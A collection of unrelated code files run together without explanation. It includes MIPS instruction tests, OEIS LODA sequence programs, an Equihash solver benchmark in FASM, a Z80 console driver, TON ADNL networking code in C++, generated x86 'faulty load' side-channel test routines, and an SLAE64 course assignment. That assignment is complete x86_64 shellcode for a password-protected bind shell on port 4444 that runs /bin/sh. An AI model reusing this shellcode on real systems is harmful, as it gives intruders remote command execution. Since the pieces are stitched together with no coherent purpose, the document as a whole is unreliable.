sltiu $2,$4,21570 subu $2,$6,$2 sec108: lbu $6,11($0) sltu $2,$2,$2 mfhi $2 subu $2,$6,$2 sec109: lh $6,6($0) subu $2,$5,$1 lh $2,4($0) subu $5,$6,$2 sec110: lhu $6,14($0) sltiu $2,$5,8316 nop subu $4,$6,$2 sec111: lhu $6,8($0) andi $2,$1,52468 nor $2,$1,$5 subu $5,$6,$2 sec112: lhu $6,0($0) xori $2,$5,11238 ori $2,$6,52232 subu $2,$6,$2 sec113: lw $6,12($0) andi $2,$3,10384 mfhi $2 subu $3,$6,$2 sec114: lbu $6,16($0) sltiu $2,$6,-11530 lh $2,14($0) subu $6,$6,$2 sec115: lb $6,12($0) mfhi $2 nop subu $3,$6,$2 sec116: lhu $6,8($0) mfhi $2 subu $2,$2,$3 subu $3,$6,$2 sec117: lb $6,12($0) mflo $2 slti $2,$6,5882 subu $4,$6,$2 sec118: lw $6,16($0) mflo $2 mflo $2 subu $1,$6,$2 sec119: lb $6,13($0) mfhi $2 lw $2,8($0) subu $3,$6,$2 sec120: lw $6,16($0) lw $2,4($0) nop subu $5,$6,$2 sec121: lh $6,14($0) lbu $2,8($0) slt $2,$0,$5 subu $1,$6,$2 sec122: lb $6,15($0) lb $2,3($0) slti $2,$6,-12441 subu $2,$6,$2 sec123: lbu $6,4($0) lb $2,1($0) mfhi $2 subu $5,$6,$2 sec124: lbu $6,3($0) lbu $2,10($0) lb $2,5($0) subu $0,$6,$2
; A115032: Expansion of (5-14*x+x^2)/((1-x)*(x^2-18*x+1)). ; Submitted by Jamie Morken(s1.) ; 5,81,1445,25921,465125,8346321,149768645,2687489281,48225038405,865363202001,15528312597605,278644263554881,5000068431390245,89722587501469521,1610006506595061125,28890394531209630721,518417095055178291845,9302617316461999622481,166928694601260814912805,2995413885506232668808001,53750521244510927223631205,964513968515690457356553681,17307500912037917305194335045,310570502448166821036141477121,5572961543154964861345352253125,100002737274341200683180199079121,1794476309394986647435898231171045 mov $3,1 lpb $0 sub $0,$3 add $2,2 add $4,1 mov $1,$4 mul $1,16 add $2,$1 add $4,$2 lpe mov $0,$4 mul $0,4 add $0,5
format PE64 console 5.0 entry start MEM_LARGE_PAGES = 20000000h include 'win64a.inc' include 'params.inc' include 'struct_eh.inc' include 'macro_eh.asm' section '.text' code readable executable start: mov eax, esp cmp rax, rsp jne _Exit sub esp, 0x108 and esp, -32 frame call [GetCurrentThread] mov rcx, rax mov edx, 1 call [SetThreadAffinityMask] call [GetCurrentProcess] mov rcx, rax mov edx, 0x28 ;TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY lea r8d, [rsp+0x50] call [OpenProcessToken] xor ecx, ecx mov edx, szSeLMP lea r8d, [rsp+0x60] call [LookupPrivilegeValue] mov dword [rsp+0x5C], 1 mov dword [rsp+0x68], 2 ;SE_PRIVILEGE_ENABLED mov rcx, [rsp+0x50] ;TokenHandle xor edx, edx ;DisableAllPrivileges lea r8d, [rsp+0x5C] ;NewState xor r9d, r9d ;BufferLength xor eax, eax mov qword [rsp+0x20], rax ;PreviousState mov qword [rsp+0x28], rax ;ReturnLength call [AdjustTokenPrivileges] xor ecx, ecx mov edx, (sizeof.EH+0x1fffff) and -0x200000 mov r8d, MEM_RESERVE + MEM_COMMIT + MEM_LARGE_PAGES mov r9d, PAGE_READWRITE call [VirtualAlloc] test rax, rax jnz _MemAllocOK mov ecx, szLargePageFailed call [puts] xor ecx, ecx mov edx, sizeof.EH mov r8d, MEM_RESERVE + MEM_COMMIT mov r9d, PAGE_READWRITE call [VirtualAlloc] test rax, rax jnz _MemAllocOK mov ecx, szMemAllocFailed call [puts] jmp _Exit _MemAllocOK: mov [hMem1], rax lea rcx, [rsp+0x78] call [QueryPerformanceFrequency] mov ecx, fmtqpcfreq mov rdx, [rsp+0x78] call [printf] mov rcx, [hMem1] mov edx, t1 call _ProcEhPrepare lea rcx, [rsp+0x80] call [QueryPerformanceCounter] mov rcx, [hMem1] xor edx, edx call _ProcEhSolver ;Warm up run mov ebx, eax lea rcx, [rsp+0x90] call [QueryPerformanceCounter] mov rax, [rsp+0x90] sub rax, [rsp+0x80] imul rax, rax, 1000 xor edx, edx mov rcx, [rsp+0x78] div rcx mov ecx, fmtWarmupTime mov edx, eax mov r8d, ebx call [printf] START_NONCE = 58 ;arbritary number to get 19 solutions in 10 iterations (to match 1.88 solutions per run) END_NONCE = 68 mov dword [rsp+0x50], START_NONCE xor eax, eax mov [rsp+0x54], eax ;accumulate solutions mov [rsp+0x58], rax ;accumulate delta QPC _LoopNonce1: lea rcx, [rsp+0x80] call [QueryPerformanceCounter] mov rcx, [hMem1] mov edx, [rsp+0x50] call _ProcEhSolver add [rsp+0x54], eax mov ebx, eax lea rcx, [rsp+0x90] call [QueryPerformanceCounter] mov rax, [rsp+0x90] sub rax, [rsp+0x80] add [rsp+0x58], rax imul rax, rax, 1000 xor edx, edx mov rcx, [rsp+0x78] div rcx mov ecx, fmtTime mov edx, eax mov r8d, ebx call [printf] mov eax, [rsp+0x50] add eax, 1 mov [rsp+0x50], eax cmp eax, END_NONCE jb _LoopNonce1 mov rax, [rsp+0x58] imul rax, rax, 1000 xor edx, edx mov rcx, [rsp+0x78] imul rcx, rcx, END_NONCE-START_NONCE div rcx mov edx, eax mov ecx, fmtAvgTime call [printf] _Panic: mov rcx, [hMem1] xor edx, edx mov r8d, MEM_RELEASE ;0x8000 call [VirtualFree] _Exit: xor ecx, ecx call [ExitProcess] align 64 include "proc_ehprepare_avx2.asm" include "proc_ehsolver_avx2.asm" endf section '.data' data readable writeable fmtdn db "%d", 0Dh, 0Ah, 0 fmtds db "%d ", 0 fmtxn db "%x", 0Dh, 0Ah, 0 fmtllxn db "%016llx", 0Dh, 0Ah, 0 fmtqpcfreq db "QueryPerformanceCounter frequency: %lld Hz", 0Dh, 0Ah, 0 fmtrdtscmeasured db "Measured rdtsc frequency: %lld Hz", 0Dh, 0Ah, 0 fmttimingblake db "BLAKE2b rdtsc: %lld", 0Dh, 0Ah, 0 fmttimingstage db "Stage %d, Output pairs %d, rdtsc: %lld %lld %lld %lld", 0Dh, 0Ah, 0 fmtsolution1 db "Number of solutions before duplicate removal: %d", 0Dh, 0Ah, 0 fmttimingremdup db "Duplicate removal and tree expand rdtsc: %lld", 0Dh, 0Ah, 0 fmtsolution2 db "Solutions found: %d", 0Dh, 0Ah, 0 fmtWarmupTime db "(Warm up) Time: %u ms, solutions: %u", 0Dh, 0Ah, 0 fmtTime db "Time: %u ms, solutions: %u", 0Dh, 0Ah, 0 fmtAvgTime db "Average time: %d ms", 0D, 0Ah, 0 szRunning db "Running solver...", 0 szSeLMP db "SeLockMemoryPrivilege",0 szLargePageFailed db "Failed to allocate Large Page, performance may be affected", 0 szMemAllocFailed db "Failed to allocate memory", 0 szoutfile db "out.bin", 0 align 64 include "data_blake2b.asm" align 64 t1 file "t2.bin" align 64 hMem1 rq 1 align 64 buf0 rb 512 section '.idata' import data readable writeable library kernel32,'kernel32.dll',\ user32,'user32.dll',\ msvcrt,'msvcrt.dll',\ advapi32,'advapi32.dll' include 'api\kernel32.inc' include 'api\user32.inc' include 'api\advapi32.inc' import msvcrt,\ printf,'printf',\ puts,'puts'
SECTION code_driver SECTION code_driver_terminal_input PUBLIC console_01_input_stdio_msg_ictl PUBLIC console_01_input_stdio_msg_ictl_0 EXTERN asm_vioctl_driver, error_einval_zc EXTERN l_offset_ix_de, l_setmem_hl EXTERN console_01_input_stdio_msg_flsh EXTERN console_01_input_proc_reset console_01_input_stdio_msg_ictl: ; ioctl messages understood: ; ; defc IOCTL_RESET = $0000 ; defc IOCTL_ITERM_TIE = $0201 ; defc IOCTL_ITERM_GET_EDITBUF = $0381 ; defc IOCTL_ITERM_SET_EDITBUF = $0301 ; ; in addition to flags managed by stdio ; ; enter : ix = & FDSTRUCT.JP ; bc = first parameter ; de = request ; hl = void *arg (0 if stdio flags) ; ; exit : hl = return value ; carry set if ioctl rejected ; ; uses : af, bc, de, hl ; flag bits managed by stdio? ld a,h or l jr nz, _ictl_messages ; if line mode is being disabled reset the edit buffer ld a,e and $20 jp z, asm_vioctl_driver ; if line mode not being disabled and c jp nz, asm_vioctl_driver ; if line mode not being disabled call asm_vioctl_driver ; set stdio flags push hl ; save return value call console_01_input_stdio_msg_flsh pop hl ret _ictl_messages: ld a,e or d jp z, console_01_input_proc_reset ; if IOCTL_RESET ; check the message is specifically for an input terminal ld a,e and $07 cp $01 ; input terminals are type $01 jp nz, error_einval_zc console_01_input_stdio_msg_ictl_0: ; interpret ioctl message ld a,d dec a dec a jr z, _ioctl_tie dec a jp nz, error_einval_zc _ioctl_getset_editbuf: ; e & $80 = 1 for get ; bc = first parameter (b_array *) ; hl = void *arg ld a,e ld hl,16 call l_offset_ix_de ; hl = & fdstruct.pending_char ld e,c ld d,b ; de = & b_array add a,a jr c, _ioctl_get_editbuf _ioctl_set_editbuf: set 6,(ix+7) ; indicate buffer pushed into edit terminal xor a call l_setmem_hl - 6 ; hl = & fdstruct.b_array ex de,hl jr _ioctl_editbuf_copy _ioctl_get_editbuf: inc hl inc hl inc hl ; hl = & fdstruct.b_array _ioctl_editbuf_copy: ld bc,6 ldir or a ret _ioctl_tie: ; bc = first parameter (new oterm *) ; hl = void *arg call console_01_input_stdio_msg_flsh ld hl,14 call l_offset_ix_de ; hl = & fdstruct.oterm ld e,(hl) inc hl ld d,(hl) ; de = old oterm ld a,b and c inc a jr z, _ioctl_tie_exit ; if oterm == -1 ld (hl),b dec hl ld (hl),c ; store new oterm _ioctl_tie_exit: ex de,hl ; hl = old oterm ret
; void in_MouseAMXInit(uchar xvector, uchar yvector) ; CALLER linkage for function pointers XLIB in_MouseAMXInit LIB in_MouseAMXInit_callee XREF ASMDISP_IN_MOUSEAMXINIT_CALLEE .in_MouseAMXInit pop hl pop bc pop de push de push bc push hl ld b,e jp in_MouseAMXInit_callee + ASMDISP_IN_MOUSEAMXINIT_CALLEE
; A115129: Partial sums of A005587. Fourth column of triangle A115127. ; 14,56,146,311,586,1015,1652,2562,3822,5522,7766,10673,14378,19033,24808,31892,40494,50844,63194,77819,95018,115115,138460,165430,196430,231894,272286,318101,369866,428141,493520,566632,648142,738752,839202,950271,1072778,1207583,1355588,1517738,1695022,1888474,2099174,2328249,2576874,2846273,3137720,3452540,3792110,4157860,4551274,4973891,5427306,5913171,6433196,6989150,7582862,8216222,8891182,9609757,10374026,11186133,12048288,12962768,13931918,14958152,16043954,17191879,18404554,19684679,21035028,22458450,23957870,25536290,27196790,28942529,30776746,32702761,34723976,36843876,39066030,41394092,43831802,46382987,49051562,51841531,54756988,57802118,60981198,64298598,67758782,71366309,75125834,79042109,83119984,87364408,91780430,96373200,101147970,106110095,111265034,116618351,122175716,127942906,133925806,140130410,146562822,153229257,160136042,167289617,174696536,182363468,190297198,198504628,206992778,215768787,224839914,234213539,243897164,253898414,264225038,274884910,285886030,297236525,308944650,321018789,333467456,346299296,359523086,373147736,387182290,401635927,416517962,431837847,447605172,463829666,480521198,497689778,515345558,533498833,552160042,571339769,591048744,611297844,632098094,653460668,675396890,697918235,721036330,744762955,769110044,794089686,819714126,845995766,872947166,900581045,928910282,957947917,987707152,1018201352,1049444046,1081448928,1114229858,1147800863,1182176138,1217370047,1253397124,1290272074,1328009774,1366625274,1406133798,1446550745,1487891690,1530172385,1573408760,1617616924,1662813166,1709013956,1756235946,1804495971,1853811050,1904198387,1955675372,2008259582,2061968782,2116820926,2172834158,2230026813,2288417418,2348024693,2408867552,2470965104,2534336654,2599001704,2664979954,2732291303,2800955850,2870993895,2942425940,3015272690,3089555054,3165294146,3242511286,3321228001,3401466026,3483247305,3566593992,3651528452,3738073262,3826251212,3916085306,4007598763,4100815018,4195757723,4292450748,4390918182,4491184334,4593273734,4697211134,4803021509,4910730058,5020362205,5131943600,5245500120,5361057870,5478643184,5598282626,5720002991,5843831306,5969794831,6097921060,6228237722,6360772782,6495554442,6632611142,6771971561,6913664618,7057719473,7204165528,7353032428,7504350062,7658148564,7814458314,7973309939,8134734314,8298762563,8465426060,8634756430,8806785550,8981545550 mov $1,$0 mov $0,9 add $0,$1 bin $0,4 mul $1,$0 div $1,5 add $1,14
/* This file is part of TON Blockchain Library. TON Blockchain Library is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. TON Blockchain Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with TON Blockchain Library. If not, see <http://www.gnu.org/licenses/>. Copyright 2017-2019 Telegram Systems LLP */ #include "adnl-ext-connection.hpp" namespace ton { namespace adnl { void AdnlExtConnection::send_uninit(td::BufferSlice data) { buffered_fd_.output_buffer().append(std::move(data)); loop(); } void AdnlExtConnection::send(td::BufferSlice data) { LOG(DEBUG) << "sending packet of size " << data.size(); auto data_size = td::narrow_cast<td::uint32>(data.size()) + 32 + 32; if (data_size < 32 || data_size > (1 << 24)) { LOG(WARNING) << "bad packet size " << data_size; return; } td::BufferSlice d{data.size() + 4 + 32 + 32}; auto S = d.as_slice(); S.copy_from(td::Slice(reinterpret_cast<const td::uint8 *>(&data_size), 4)); S.remove_prefix(4); auto Sc = S; td::Random::secure_bytes(S.copy().truncate(32)); S.remove_prefix(32); S.copy_from(data.as_slice()); S.remove_prefix(data.size()); td::sha256(Sc.truncate(32 + data.size()), S); td::BufferSlice e{d.size()}; out_ctr_.encrypt(d.as_slice(), e.as_slice()); buffered_fd_.output_buffer().append(std::move(e)); loop(); } td::Status AdnlExtConnection::receive(td::ChainBufferReader &input, bool &exit_loop) { if (stop_read_) { exit_loop = true; return td::Status::OK(); } if (input.size() > 0) { received_bytes_ = 1; } if (inited_) { if (!read_len_) { if (input.size() < 4) { exit_loop = true; return td::Status::OK(); } char x[4]; td::MutableSlice s{x, 4}; input.advance(4, s); td::MutableSlice e{reinterpret_cast<td::uint8 *>(&len_), 4}; in_ctr_.encrypt(s, e); LOG(DEBUG) << "len=" << len_; if (len_ > (1 << 24) || len_ < 32) { return td::Status::Error("Too big packet"); } read_len_ = true; } if (input.size() < len_) { exit_loop = true; return td::Status::OK(); } auto data = input.cut_head(len_).move_as_buffer_slice(); update_timer(); td::BufferSlice dec_data{data.size()}; in_ctr_.encrypt(data.as_slice(), dec_data.as_slice()); exit_loop = false; read_len_ = false; len_ = 0; return receive_packet(std::move(dec_data)); } else { if (input.size() < 256) { exit_loop = true; return td::Status::OK(); } auto data = input.cut_head(256).move_as_buffer_slice(); update_timer(); exit_loop = false; return process_init_packet(std::move(data)); } } void AdnlExtConnection::loop() { auto status = [&] { TRY_STATUS(buffered_fd_.flush_read()); auto &input = buffered_fd_.input_buffer(); bool exit_loop = false; while (!exit_loop) { TRY_STATUS(receive(input, exit_loop)); } TRY_STATUS(buffered_fd_.flush_write()); if (td::can_close(buffered_fd_)) { stop(); } return td::Status::OK(); }(); if (status.is_error()) { LOG(ERROR) << "Client got error " << status; stop(); } else { send_ready(); } } td::Status AdnlExtConnection::init_crypto(td::Slice S) { if (S.size() < 96) { return td::Status::Error(ErrorCode::protoviolation, "too small enc data"); } CHECK(S.size() >= 96); td::SecureString s1(32), s2(32); td::SecureString v1(16), v2(16); s1.as_mutable_slice().copy_from(S.copy().truncate(32)); S.remove_prefix(32); s2.as_mutable_slice().copy_from(S.copy().truncate(32)); S.remove_prefix(32); v1.as_mutable_slice().copy_from(S.copy().truncate(16)); S.remove_prefix(16); v2.as_mutable_slice().copy_from(S.copy().truncate(16)); S.remove_prefix(16); if (is_client_) { in_ctr_.init(s1, v1); out_ctr_.init(s2, v2); } else { in_ctr_.init(s2, v2); out_ctr_.init(s1, v1); } inited_ = true; return td::Status::OK(); } td::Status AdnlExtConnection::receive_packet(td::BufferSlice data) { LOG(DEBUG) << "received packet of size " << data.size(); auto S = data.as_slice(); S.truncate(data.size() - 32); auto D = data.as_slice(); D.remove_prefix(data.size() - 32); if (td::sha256(S) != D) { return td::Status::Error(ErrorCode::protoviolation, "sha256 mismatch"); } data.truncate(data.size() - 32); data.confirm_read(32); if (data.size() == 0) { // keepalive return td::Status::OK(); } bool processed = false; TRY_STATUS(process_custom_packet(data, processed)); if (processed) { return td::Status::OK(); } return process_packet(std::move(data)); } } // namespace adnl } // namespace ton
; Student ID : SLAE64-1611 ; Student Name : Jonathan "Chops" Crosby ; Assignment 1 : Shell Bind TCP (Linux/x86_64) Assembly ; File Name : shell-bind.nasm global _start section .text _start: jmp real_start enter_password: db 'Enter the secret password to continue: ', 0xa real_start: ; SYS_SOCKET socket(2) ; rax : sys_socket 41 ; rdi : int family ; rsi : int type ; rdx : int protocol xor rax, rax ; need to zero our rax ; so we can load it with ; the socket syscall 0x41 mov rdi, rax ; zeroing out rdi mov rsi, rdi ; zeroing out rsi mov rdx, rsi ; zeroing out rdx add rax, 41 ; setting rax to socket add rdi, 2 ; family / AF_INET add rsi, 1 ; type / SOCK_STREAM ; leave rdx alone since it is already 0x00 syscall ; make the call to socket ; socketid will be in rax ; SYS_BIND bind(2) ; rax : sys_bind 49 ; rdi : socketid which will be in rax initially ; rsi : struct sokaddr *umyaddr ; rdx : int addrlen xchg rdi, rax ; move socketid into rdi xor rax, rax ; zero out rax ; rdi already contains socketid mov rsi, rax ; zeroing out rsi mov rdx, rsi ; zeroing out rdx xor r9, r9 ; zero out r9 push r9 ; pushing 0.0.0.0 into in_addr push word 0x5C11 ; port number (least significant ; byte first ... 0x115C is 4444) push word 0x02 ; AF_INET - which is 0x02 mov rsi, rsp ; moving stack address to rsi add rdx, 16 ; 16 byts long (or 32bit) add rax, 49 ; set rax to sys_bind syscall ; make the call to bind ; socketid will be in rax ; SYS_LISTEN listen(2) ; rax : sys_listen 50 ; rdi : socketid which is already in rdi ; rsi : int backlog xor rax, rax ; zero out rax ; socketid already in rsi mov rdx, rax ; zeroing out rdx add rdx, 0x01 ; moving backlog number to rdx add rax, 50 ; setting rax to sys_listen syscall ; make call to listen ; SYS_ACCEPT accept(2) ; Returns clientid needed for dup2 ; rax : sys_accept 43 ; rdi : socketid already in rdi ; rsi : struct sockaddr *upeer_sockaddr ; rdx : int *upeer_addrlen xor rax, rax ; zero out rax ; socketid already in rsi mov rsi, rax ; moving null to rsi mov rdx, rax ; moving null to rdx add rax, 43 ; setting rax to sys_connect syscall ; make call to listen ; sys_dup2 xchg rdi, rax ; moves clientid to rdi ; rax : sys_dup2 33 ; rdi : already contains clientid ; rsi : 1 to 3 in loop xor r9, r9 ; zeroing out loop counter loopin: xor rax, rax ; zero out rax add rax, 33 ; setting rax to sys_dup2 mov rsi, r9 ; move fileid to duplicate syscall ; call dup2 inc r9 ; increase r9 by 0x01 cmp r9, 3 ; compare r9 to 0x03 jne loopin ; We need to check for password here ; 1. ask for password ; 2. check password ; sys_read ; letup loop to checking the password checkpassword: ; sys_write ; rax : 1 ; rdi : unsigned int fd : 1 for stdout ; rsi : const char *buf : string ; rdx : size_t count : how big xor rax, rax ; zero out rax mov rdx, rax ; zero out rdx inc rax ; increase rax to 1 mov rdi, rax ; move 1 into rdi lea rsi, [rel enter_password] ; moving enter_password add rdx, 39 ; setting size enter_password syscall ; sys_read ; rdi : unsigned int fd : 0 for stdin ; rsi : char *buf : stack? ; rdx : size_t count : how big xor rax, rax ; zero out rax mov rdi, rax ; zero out rdi mov rdx, rax ; zero out rdx ; leave rax alone since read is 0 mov rsi, rsp ; set buffer to stack add rdx, 8 ; setting size of Password syscall ; calling read mov rdi, rsp ; setting rdi to input buffer mov rax, 0x64726f7773736150 ; moving Password into buffer scasd ; scanning for a match jne checkpassword ; if not a match then re-ask for password ; sys_execve ; rax : sys_execve 59 ; rdi : const char *filename ; rsi : const char *const argv[] ; rdx : const char *const envp[] xor rax, rax ; zeroing out rax add rax, 59 ; setting rax to sys_execve xor r9, r9 ; zeroing out r9 push r9 ; pushing null to stack mov rbx, 0x68732f6e69622f2f ; moving "//bin/sh" push rbx ; pushing "//bin/sh" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;rsp now looks like: "//bin/sh,0x0000000000000000"; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov rdi, rsp ; moving the param to rdi ; rdi now contains "//bin/sh,0x0000000000000000" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, NOT-SET-YET); ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; now we need to get 0x0000000000000000 into rdx push r9 ; r9 is still 0x0000000000000000 so push it to rsp mov rdx, rsp ; we need to move a 0x0000000000000000 into ; the third parameter in rdx ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, 0x0000000000000000); ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; the second parameter is needs to be "//bin/sh,0x0000000000000000" ; which we can accomplish by moving rdi onto the stack ; and then moving rsp into rsi since it will be on the stack push rdi ; pushing "//bin/sh,0x0000000000000000" back to the stack mov rsi, rsp ; moving the address of rdi (on the stack) to ecx ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; now we look like: execve("//bin/sh,0x00000000000000000", *"//bin/sh,0x0000000000000000", 0x0000000000000000); ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; syscall ; calling sys_execve
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r14 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x1dfaa, %rax clflush (%rax) cmp %r9, %r9 mov $0x6162636465666768, %r14 movq %r14, (%rax) nop nop nop nop nop cmp $54846, %r13 lea addresses_WC_ht+0x36ca, %r12 nop nop add $60040, %rbx vmovups (%r12), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %r13 nop nop nop add $30692, %r14 lea addresses_D_ht+0x16eca, %r9 nop nop nop nop nop add %r11, %r11 mov $0x6162636465666768, %rbx movq %rbx, %xmm6 and $0xffffffffffffffc0, %r9 vmovntdq %ymm6, (%r9) nop nop nop inc %r9 lea addresses_WC_ht+0x39e, %rsi lea addresses_UC_ht+0xe0ca, %rdi nop and $306, %r13 mov $12, %rcx rep movsq nop nop add %rax, %rax lea addresses_normal_ht+0xa4ba, %rdi nop nop cmp $22155, %r11 movw $0x6162, (%rdi) nop nop nop nop add $61050, %rbx lea addresses_WT_ht+0x18bab, %rcx nop and $39690, %r9 movb (%rcx), %r14b nop nop inc %r9 lea addresses_A_ht+0x166ca, %r13 nop nop nop nop and %rbx, %rbx vmovups (%r13), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r9 nop nop nop nop inc %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r14 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r9 push %rcx push %rdi push %rdx push %rsi // Store lea addresses_normal+0x373a, %rdi inc %r14 movl $0x51525354, (%rdi) nop nop nop nop nop inc %rdi // Store mov $0x9c2, %r13 nop nop nop add %rdx, %rdx mov $0x5152535455565758, %rcx movq %rcx, %xmm4 movups %xmm4, (%r13) nop nop nop nop nop sub %r9, %r9 // Faulty Load lea addresses_WC+0x6ca, %rsi cmp $60229, %r14 mov (%rsi), %edx lea oracles, %r14 and $0xff, %rdx shlq $12, %rdx mov (%r14,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_normal'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_P'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_D_ht'}} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 